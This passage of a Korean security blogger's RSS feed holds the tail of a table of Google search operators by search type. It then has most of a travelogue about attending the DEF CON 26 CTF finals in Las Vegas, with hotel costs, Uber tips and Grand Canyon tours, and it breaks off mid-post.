0);&quot;&gt;insubject:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 143px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Directory&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 557px;&quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: justify; margin-left: 2em;&quot;&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allinurl&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allinurl:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#ext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;ext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#filetype&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;filetype:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#inurl&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;inurl:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 143px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;News&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 557px;&quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: justify; margin-left: 2em;&quot;&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allinurl&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allinurl:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#inurl&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;inurl:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#location&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;location:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#source&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;source:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 143px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Product Search&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 557px;&quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: justify; margin-left: 2em;&quot;&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintitle:&lt;u&gt;&lt;/u&gt;&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[+] Reference: &lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://www.googleguide.com/advanced_operators_reference.html&lt;/a&gt;&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/336</guid>
      <comments>https://do9dark.tistory.com/336#entry336comment</comments>
      <pubDate>Thu, 4 Oct 2018 06:16:43 +0900</pubDate>
    </item>
    <item>
      <title>미국 그리고 DEF CON 26</title>
      <link>https://do9dark.tistory.com/334</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DE1A345BB506CC0D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DE1A345BB506CC0D&quot; width=&quot;820&quot; height=&quot;614&quot; filename=&quot;001.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[DEF CON 26 CTF Qualifier 결과 : C.G.K.S 15등]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2018년 5월, DEF CON 26 CTF 예선전에 연합팀(C.G.K.S)으로 참가하여 15등이라는 성적을 거두고 본선에 참가하면서 경험하고 느낀 점에 대해 간단하게 기록을 남기기 위해 작성하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;예선전에서 오전에 중요한 약속이 있어서 늦게 참석하는 바람에 예선 문제 중에서 최근에 분석했던 내용을 바탕으로 나온 문제가 있었지만 이미 다른 팀원분이 풀어서 인증하지 못해 아쉬운 부분이 있었습니다. 본선에서는 팀에 도움이 되기 위해 팀원들과 본선에서 필요한 것들에 대해서 회의도 하고 주로 패킷 관련하여 분석 및 개발 등 미국행 비행기에 탑승하는 날까지 최선의 준비를 하고 출발하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C146385BB5118817&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C146385BB5118817&quot; width=&quot;720&quot; height=&quot;960&quot; filename=&quot;002.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[인천공항에서 대한항공 타고 라스베이거스 매캐런 공항으로 출발]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;1일 차 (08/03)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;다른 팀원들보다 먼저 선발대로 한국 시각으로 8월 3일 오후 9시에 출발했으나 미국 라스베이거스와의 시차(16시간)로 인해 미국 시각으로 8월 3일 오후 4시 40분에 도착하였습니다. :)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;매캐런 공항에 도착 후 플라밍고 호텔에 가기 위해 우버를 불렀는데 GPS가 정상적으로 잡히지 않아서 처음에 길을 헤매긴 했지만 마침 근처에 있던 현지 분의 도움을 받아 무사히 호텔까지 도착해서 체크인 할 수 있었습니다.&lt;/p&gt;&lt;p&gt;참고로 우버 이용 시, 탑승 장소에 대기하고 있지 않을 경우 대기 시간 금액(?)이 추가로 붙습니다. 라스베이거스 호텔마다 대부분 우버 탑승 장소가 있으니 꼭 사전에 확인하고 우버 이용하는 게 좋습니다. 우리나라 택시처럼 아무 곳에서나 불러서 탈 수가 없으며 팁은 목적지에 도착 후 앱에서 줄 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;리조트 비와 보증금은 호텔 체크인 시 결제가 되니 별도로 준비를 하는 게 좋습니다. 10박 예약했을 때 1800불 정도가 들었는데 추가로 리조트 비는 400불(1박 기준 40불), 보증금은 500불(1박 기준 50불)이 들었습니다. 물론 보증금은 체크아웃 때 다시 돌려받긴 하지만 체크아웃 전까지는 쓸 수가 없기 때문에... 마지막 날 말고 쓸 수가 없습니다. T.T&lt;/p&gt;&lt;p&gt;다른 호텔은 어떤지 모르겠지만, 플라밍고 호텔은 방마다 2대의 디바이스가 와이파이를 사용할 수 있었고 최초 등록 시점으로부터 24시간이 지나면 초기화 후 다시 2대의 디바이스를 등록하여 사용할 수 있었습니다. 2대를 초과할 경우 요금이 추가되고 체크인 때 결제한 보증금에서 계산된다고 생각하면 됩니다. 한국에서 로밍 서비스를 해서 갔지만 호텔 방에서 잘 안 터지기 때문에 노트북으로 호텔 와이파이에 붙은 후 핫스팟을 켜서 사용하는 게 좋습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;정신없이 체크인하고 호텔 주변에 먹을 것을 찾아서 돌아다니다가 인앤아웃 버거로 미국에서 첫 끼니를 먹고 호텔 주변 구경 후 내일 있을 헬기 투어를 위해 취침하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99400D465BB51C3E20&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99400D465BB51C3E20&quot; width=&quot;820&quot; height=&quot;615&quot; filename=&quot;003.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[플라밍고 호텔 방에서 보는 미국에서의 첫 새벽]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;2일 차 (08/04)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;헬기 투어를 가기 위해 아침 일찍 일어나서 가이드를 만나고 약 2시간 30분 정도 차로 이동하여 그랜드 캐니언(Grand Canyon) 웨스트림(West Rim)에 도착하였습니다. 헬기를 타기 위해 탑승수속을 마치고 눈앞에 보이는 헬기를 타고 콜로라도 강이 흐르는 그랜드 캐니언 계곡 사이로 내려갔습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E464385C3FE80415&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E464385C3FE80415&quot; width=&quot;720&quot; height=&quot;960&quot; filename=&quot;004.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[헬기 투어를 하기 위해 탑승하러 이동]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 615px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FCDF4D5C3FEC7619&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FCDF4D5C3FEC7619&quot; width=&quot;615&quot; height=&quot;820&quot; filename=&quot;005.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[헬기를 타고 콜로라도 강으로 이동]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 615px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99429B365C3FF2F722&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99429B365C3FF2F722&quot; width=&quot;615&quot; height=&quot;820&quot; filename=&quot;006.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[헬기에서 바라본 웨스트림]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;계곡 사이에 랜딩 후 보트를 타고 웨스트림을 가까이서 볼 수 있었습니다. 강 자체는 흙탕물이라 볼 건 없지만 보트를 타고 시원하게 이동하면서 웨스트림을 구경할 수 있습니다. 물론 에어컨이 나오는 버스에서 구경하는 게 더 시원하겠지만 한 번쯤은 헬기와 보트를 타고 가까이서 보는 것도 추천해 드립니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994CB2465C3FF48125&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994CB2465C3FF48125&quot; width=&quot;720&quot; height=&quot;960&quot; filename=&quot;007.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[후알라파이 랜치(Hualapai Ranch)]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;약 1시간 정도 헬기, 보트 투어를 끝내고 차를 타고 19세기 미국 개척시대 모습을 재현해놓은 후알라파이 랜치에 가서 점심을 먹고 마을을 구경하였습니다. 마을 자체가 크지 않지만, 이것저것 체험할 것들은 조금 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D1324A5C3FF69426&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D1324A5C3FF69426&quot; width=&quot;720&quot; height=&quot;960&quot; filename=&quot;008.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[독수리가 날개를 펼친 듯한 이글 포인트(Eagle Point)]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 640px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999FAF4A5C3FF6951E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999FAF4A5C3FF6951E&quot; width=&quot;640&quot; height=&quot;610&quot; filename=&quot;009.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[뒤에 보이는 스카이워크(Skywalk)에서는 사진을 못 찍으니 여기서 찰칵]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9952034A5C3FF69523&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9952034A5C3FF69523&quot; width=&quot;720&quot; height=&quot;960&quot; filename=&quot;010.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[구아노를 채취하던 광산 시설이 남아있는 구아노 포인트(Guano Point)]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 615px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996808455C3FF77624&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996808455C3FF77624&quot; width=&quot;615&quot; height=&quot;820&quot; filename=&quot;011.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;[지나가다가 날이 좋아서 선인장이 이뻐서 찰칵]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이글 포인트(Eagle Point), 구아노 포인트(Guano Point) 등 웨스트림의 다양한 모습들을 구경하고 라스베이거스로 돌아오는 길에 영화 트랜스포머에 나왔던 후버 댐(Hoover Dam)과 엄청난 크기의 인공 호수인 미드 호(Lake Mead), 선인장 사이로 끝이 보이지 않는 도로 등을 구경하면서 복귀하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3일 차 (08/05)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;아침에 일어나서 미국식 아침 식사를 하고 라스베이거스 이곳저곳을 둘러보다가 코카콜라 스토어가 있어서 쇼핑도 하고 점심엔 쉑쉑 버거를 먹고 호텔 투어를 하면서 돌아다니다가 오락실이 보여서 들어가 봤는데 추억의 게임부터 스케일이 장난 아닌 게임까지 다양한 게임들을 볼 수 있었습니다. 온종일 라스베이거스 시내를 돌아다니면서 느낀 점은 호텔 밖은 날씨가 더워서 호텔 안으로 이동이 가능한 경우 호텔을 통해서 이동하였는데 호텔 1층은 대부분이 카지노로 되어 있어서 쉽게 접근할 수 있다는 점과 호텔마다 특유의 향이 있었습니다.&lt;/p&gt;&lt;p&gt;저녁에는 본대도 미국에 도착하여 같이 저녁과 맥주를 먹고 내일 있을 버스 투어를 위해 취침하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;4일 차 (08/06)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;미국에 갈 기회가 자주 오는 기회가 아니다 보니 할 수 있는 건 다 해보자는 생각으로 본대의 버스 투어에도 동참하여 새벽 일찍 일어나서 이동하였습니다. 버스 투어의 시작은 신의 정원이라 불리는 자이언 캐니언(Zion Canyon)부터 말발굽 모양의 호스슈 밴드(Horseshoe Bend) 그리고 개인적으로 기대한 앤텔로프 캐니언(Antelope Canyon)까지 다양한 자연 경관들을 보고 그랜드 캐니언의 또 다른 모습인 사우스림(South Rim)의 매더 포인트(Mather Point), 야바파이 포인트(Yavapai Point) 등을 보면서 아주 빠듯한 하이킹을 하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9936D13A5C40254003&quot; 